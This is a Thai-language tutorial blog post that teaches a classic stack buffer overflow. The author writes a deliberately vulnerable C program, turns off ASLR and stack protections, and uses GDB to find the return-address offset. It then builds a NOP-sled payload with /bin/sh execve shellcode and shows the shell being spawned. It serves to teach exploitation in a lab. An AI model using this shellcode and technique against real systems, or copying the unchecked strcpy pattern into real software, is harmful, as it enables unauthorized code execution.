หลังจากที่ผมได้ปล่อยบทความ How to hack back to the basic และ How to hack back to the basic Episode [1.5] ไปแล้วนั้นเชื่อว่าหลายๆท่านอาจจะยังไม่เข้าใจในหลายส่วนของบทความ แต่ที่ผมปล่อยบทความนั้นออกไปก่อนเพราะว่ามันดูสนุกกว่าเริ่มต้นจากพื้นฐานอาจจะน่าเบื่อสำหรับหลายๆท่าน ที่นี้เราจะมาดู Episode ย้อนหลังกลับมาสักหน่อยนั้นคือ Episode [zero] หรือ Episode [0] นั้นเอง เราจะได้มีความเข้าใจในส่วนของพื้นฐานมากขึ้นโดยครั้งนี้เราจะเขียนโปรแกรมขึ้นมาแล้วก็ hack โปรแกรมที่เราเขียนขึ้นมาเพื่อให้ง่ายต่อการทำความเข้าใจ
ขั้นแรกเรามารู้จัก virtual memory กันก่อน
Virtual Memory |
ที่มาของรูป : http://stackoverflow.com/questions/2048007/linux-ia-32-memory-model
รายละเอียด section ต่างใน virtual memory
1.)Text ส่วนนี้เก็บ machine code พวก instructions
2.)Data ส่วนนี้เก็บตัวแปรที่ประกาศเอาไว้และกำหนดค่าเริ่มต้นแล้ว
เช่น int a = 10;
3.)BSS ส่วนนี้เก็บตัวแปรที่ประกาศเอาไว้แต่ยังไม่ได้กำหนดค่าเริ่มต้น
เช่น int a;
4.)Heap ส่วนนี้เกี่ยวกับการจัดสรร Memory allocation ต่างๆ
5.)Stack ส่วนนี้เก็บข้อมูลจากพวก Function ต่างๆ
จะเห็นว่าในส่วนของ Heap และ Stack สามารถขยายเพิ่มลดได้แต่ส่วน Data และ BSS นั้นจะถูกจองหน่วยความจำที่แน่นอนเป็นของตัวเอง
การทำงานของโปรแกรมใน memory
1.)อ่านคำสั่งที่ EIP register กำลังชี้อยู่
2.)ตรวจสอบว่าคำสั่งนั้นใช้พื้นที่ขนาดกี่ byte และบวกจำนวน byte นั้นเข้าไปใน EIP register
3.)Excute คำสั่งที่อ่านจากหน่วยความจำในข้อมหนึ่ง
4.)กลับไปทำข้อ 1 Loop ไปเรื่อยๆจนจบโปรแกรม
Register ที่สำคัญในบทความนี้(อธิบายแบบบ้านๆ)
1.)EIP คือ Register ชี้ไปที่คำสั่งที่กำลังจะทำงาน
2.)ESP คือ Register ที่เก็บตำแหน่งที่ Stack บนสุดอยู่
3.)EBP คือฐานของ Stack โดย Stack จะไล่จาก Address สูงไปต่ำ
4.)EAX,EBX,ECX,EDX คือ Register เก็บข้อมูลทั่วไป
โปรแกรมที่ใช้
1.)GCC (GNU Compiler Collection)เอาไว้ใช้ Compile Code ภาษา ต่างๆ เป็น Binary Code
2.)GDB(The GNU Project Debugger)เอาไว้ใช้ debug หรือ disassemble binary code ให้อยู่ในรูป assembly (ถึงจะดูยากแต่มันดูง่ายกว่า binary code แน่ๆ :D)
โดย OS ที่ผมใช้ในการทดลองครั้งนี้คือเจ้า Blackbuntu 0.2 (Ubuntu 10.10 ,Kernel 2.6.35-28-generic)
ขั้นแรกเรามาปิดในส่วนของการ randomizing address space ของ OS ก่อน ผมเข้าใจว่า security feature นี้ถูกนำมาใช้ตั้งแต่ Linux kernel 2.6 ขึ้นไป(ไม่ชัวร์)โดยปิดได้ใส่ “0” เข้าไปใน file ดังกล่าวด้วยคำสั่ง
root@ERROR:~# echo "0" > /proc/sys/kernel/randomize_va_space
หลังจากนั้นก็ทำการเขียนโปรแกรมง่ายๆขึ้นมาด้วยภาษา C
#include <stdio.h> #include <string.h> int main(int argc, char** argv){ char buffer[500]; strcpy(buffer, argv[1]); return 0; }
สิ่งที่โปรแกรมนี้ทำก็คือจอง buffer เอาไว้ 500 bytes และรับ argument จาก standard input
เราจะมา compile เจ้าโปรแกรมนี้ด้วย gcc กัน
error@ERROR:~/bof$ gcc overflow.c -o overflow -ggdb -fno-stack-protector -z execstack
สำหรับ options ในการ compile นี้ก็คือ ให้สามารถ execute instructions ใน stack ได้และยกเลิกการป้องกันในส่วนของ stack และเพิ่มส่วนช่วยให้ gdb debug และ compile ให้ไฟล์ชื่อว่า overflow
ผมลอง run โปรแกรมนี้แล้วใส่ Input ไป 515 bytes โดยใช้ perl ช่วยในการใส่ input
error@ERROR:~/bof$ ./overflow `perl -e 'print "A" x 515 '` Segmentation fault
จะเห็นว่ามีความผิดพลาดเกิดขึ้น เราจะมาลอง disassemble ด้วย gdb
error@ERROR:~/bof$ gdb -q overflow Reading symbols from /home/error/bof/overflow...done. (gdb) list 1#include <stdio.h> 2#include <string.h> 3 4int main(int argc, char** argv) 5{ 6char buffer[500]; 7strcpy(buffer, argv[1]); 8return 0; 9} (gdb) disas main Dump of assembler code for function main: 0x080483c4 <+0>:push %ebp 0x080483c5 <+1>:mov %esp,%ebp 0x080483c7 <+3>:and $0xfffffff0,%esp 0x080483ca <+6>:sub $0x210,%esp 0x080483d0 <+12>:mov 0xc(%ebp),%eax 0x080483d3 <+15>:add $0x4,%eax 0x080483d6 <+18>:mov (%eax),%eax 0x080483d8 <+20>:mov %eax,0x4(%esp) 0x080483dc <+24>:lea 0x1c(%esp),%eax 0x080483e0 <+28>:mov %eax,(%esp) 0x080483e3 <+31>:call 0x80482f4 <strcpy@plt> 0x080483e8 <+36>:mov $0x0,%eax 0x080483ed <+41>:leave 0x080483ee <+42>:ret End of assembler dump.
ข้างบนนี้คือ code ของโปรแกรมที่เราเขียนทั้งในรูปภาษา C และ assembly ที่เครื่องคอมเราทำงานจริงๆ
เราจะ run โปรแกรมใหม่และใส่ Input เข้าไป 515 ตัว
(gdb) run `perl -e 'print "A" x 515'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/error/bof/overflow `perl -e 'print "A" x 515'` Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? ()
จากข้างบน 0x00414141 จะเห็นว่ามี A เข้าไปอยู่ในส่วนที่ ESP register แล้วสามตัว (ASCII 41 = A) หมายความว่าถ้าเราใส่ input 516 ตัว input ตัว 513, 514, 515, 516 จะไปทับค่าใน EIP register พอดี
ทีนี้เราจะแก้ไข input ที่เราส่งไป และไปดูในส่วนของ stack ว่ามันเขียนอะไรไปมั้ง
โดยผมจะ Set Breakpoint ไว้ที่บรรทัดที่ 8 นั้นคือ return 0; หรือตำแหน่ง 0x80483e8 เพื่อไม่ให้โปรแกรมจบการทำงานทันทีเมื่อเราใส่ input
ในส่วนของ Input ผมจะแนบ shellcode ไปด้วยโดยใน shellcode นี้มันก็คือให้มันเปิดโปรแกรม /bin/sh นั้นเอง
code ของ shellcode ที่เราจะใช้คือ
/* Name : 28 bytes "/bin/sh" shellcode - execve(/bin/sh,[/bin/sh,null,null],null) Info : A woking shellcode for bof exploit Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"; int main(void) { fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; }
ที่มา : http://otoyrood.wordpress.com/2010/08/24/28-bytes-%E2%80%9Cbinsh%E2%80%9D-shellcode-for-bof-exploit/
เราจะทำการ run โปรแกรมโดยใส่ no operation หรือ \x90 ก่อนแล้วตามด้วย shellcode และ AAAA
(gdb) run `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) break 8 Breakpoint 2 at 0x80483e8: file overflow.c, line 8. (gdb) run `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '` Breakpoint 2, main (argc=0, argv=0xbffff1a4) at overflow.c:8 8return 0; (gdb) i r esp esp 0xbfffeee00xbfffeee0 (gdb) x/150xw 0xbfffeee0 0xbfffeee0:0xbfffeefc0xbffff33e0x0012cff40x0012d53c 0xbfffeef0:0x000000000x0012cf8c0x0012d0200x90909090 0xbfffef00:0x909090900x909090900x909090900x90909090 0xbfffef10:0x909090900x909090900x909090900x90909090 0xbfffef20:0x909090900x909090900x909090900x90909090 0xbfffef30:0x909090900x909090900x909090900x90909090 0xbfffef40:0x909090900x909090900x909090900x90909090 0xbfffef50:0x909090900x909090900x909090900x90909090 0xbfffef60:0x909090900x909090900x909090900x90909090 0xbfffef70:0x909090900x909090900x909090900x90909090 0xbfffef80:0x909090900x909090900x909090900x90909090 0xbfffef90:0x909090900x909090900x909090900x90909090 0xbfffefa0:0x909090900x909090900x909090900x90909090 0xbfffefb0:0x909090900x909090900x909090900x90909090 0xbfffefc0:0x909090900x909090900x909090900x90909090 0xbfffefd0:0x909090900x909090900x909090900x90909090 0xbfffefe0:0x909090900x909090900x909090900x90909090 0xbfffeff0:0x909090900x909090900x909090900x90909090 ---Type <return> to continue, or q <return> to quit--- 0xbffff000:0x909090900x909090900x909090900x90909090 0xbffff010:0x909090900x909090900x909090900x90909090 0xbffff020:0x909090900x909090900xc289c0310x2f6e6850 0xbffff030:0x2f6868730x8969622f0xb0c189e30x5351520b 0xbffff040:0x80cde1890x909090900x909090900x90909090 0xbffff050:0x909090900x909090900x909090900x90909090 0xbffff060:0x909090900x909090900x909090900x90909090 0xbffff070:0x909090900x909090900x909090900x90909090 0xbffff080:0x909090900x909090900x909090900x90909090 0xbffff090:0x909090900x909090900x909090900x90909090 0xbffff0a0:0x909090900x909090900x909090900x90909090 0xbffff0b0:0x909090900x909090900x909090900x90909090 0xbffff0c0:0x909090900x909090900x909090900x90909090 0xbffff0d0:0x909090900x909090900x909090900x90909090 0xbffff0e0:0x909090900x909090900x909090900x90909090 0xbffff0f0:0x909090900x909090900x909090900x41414141 0xbffff100:0x000000000xbffff1a40xbffff1b00x00130848 0xbffff110:0xbffff2600xffffffff0x0012cff40x0804822c ---Type <return> to continue, or q <return> to quit--- 0xbffff120:0x000000010xbffff1600x0011e1360x0012dad0 0xbffff130:0x00130b280x002a3ff4
สังเกตุในส่วนต่อไปนี้
0xbffff010:0x909090900x909090900x909090900x90909090 0xbffff020:0x909090900x909090900xc289c0310x2f6e6850 0xbffff030:0x2f6868730x8969622f0xb0c189e30x5351520b 0xbffff040:0x80cde1890x909090900x909090900x90909090
สิ่งที่เราต้องการทำ เปลี่ยน EIP register ให้ชี้ไปที่ตำแหน่งก่อนหน้าที่ shellcode อยู่เพื่อให้มันกลับไป execute shellcode โดยเราจะเปลี่ยนจาก “AAAA” เป็นตำแหน่งที่เราจะย้อนกลับไป ตำแหน่งไหนก็ได้ ก่อนตำแหน่งที่ shellcode อยู่ ในที่นี้ผมเลือก 0xbfffef30 ผมใส่เป็น “\x30\xef\xff\xbf” เพราะเป็น little-endian
(gdb) run `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '` Breakpoint 2, main (argc=0, argv=0xbffff1a4) at overflow.c:8 8return 0; (gdb) delete Delete all breakpoints? (y or n) y (gdb) run `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '` process 22943 is executing new program: /bin/dash $ ls overflow overflow.c $
ตามรูป return คือตรงที่เราทำ overflow ไปทับ EIP register ตอนมัน return เราสามารถที่จะให้มัน return ไปตำแหน่งไหนก็ได้
จากข้างบนจะเห็นว่าเราสามารถ execute shellcode สำเร็จและสามารถสร้าง process ใหม่ขึ้นมาคือ /bin/sh ได้นั้นเอง ขั้นสุดท้ายเราจะมาทดสอบนอก gdb กัน
error@ERROR:~/bof$ ./overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '` $ ls overflow overflow.c $ cat overflow.c #include <stdio.h> #include <string.h> int main(int argc, char** argv){ char buffer[500]; strcpy(buffer, argv[1]); return 0; } $
จะเห็นว่าก็สามารถ Run Shellcode ได้สำเร็จเช่นกัน
สรุป ผมยอมรับว่าสำหรับมือใหม่บทความนี้ค่อนข้างจะเข้าใจยากทั้งที่มันเป็นเรื่องที่ basic ที่สุดในการ hack (ยังไม่ได้มีส่วนในการ bypass ระบบป้องกันใดๆเลย) ถ้าใจรักจริงผมแนะนำให้ค่อยๆทำตามทีละ step ติดตรงไหนก็สามารถ comments ถามได้ สำหรับเซียนท่านไหนที่เข้ามาอ่านแล้วเห็นว่าส่วนไหนที่ผมเขียนยังไม่ถูกต้องสามารถ comments บอกให้ผมแก้ไขได้เลยครับ 😀
Reference Shellcode : http://otoyrood.wordpress.com/2010/08/24/28-bytes-%E2%80%9Cbinsh%E2%80%9D-shellcode-for-bof-exploit/
สามารถอ่านหัวข้อ Episode ต่างๆได้ที่นี้
0.)http://blog.mayaseven.com/how-to-hack-back-to-the-basic-episode-0-buffer-overflow
1.)http://blog.mayaseven.com/how-to-hack-back-to-the-basic-episode-1-remote-buffer-overflow/
1.5)http://blog.mayaseven.com/how-to-hack-back-to-the-basic-episode-1-5-deface-web/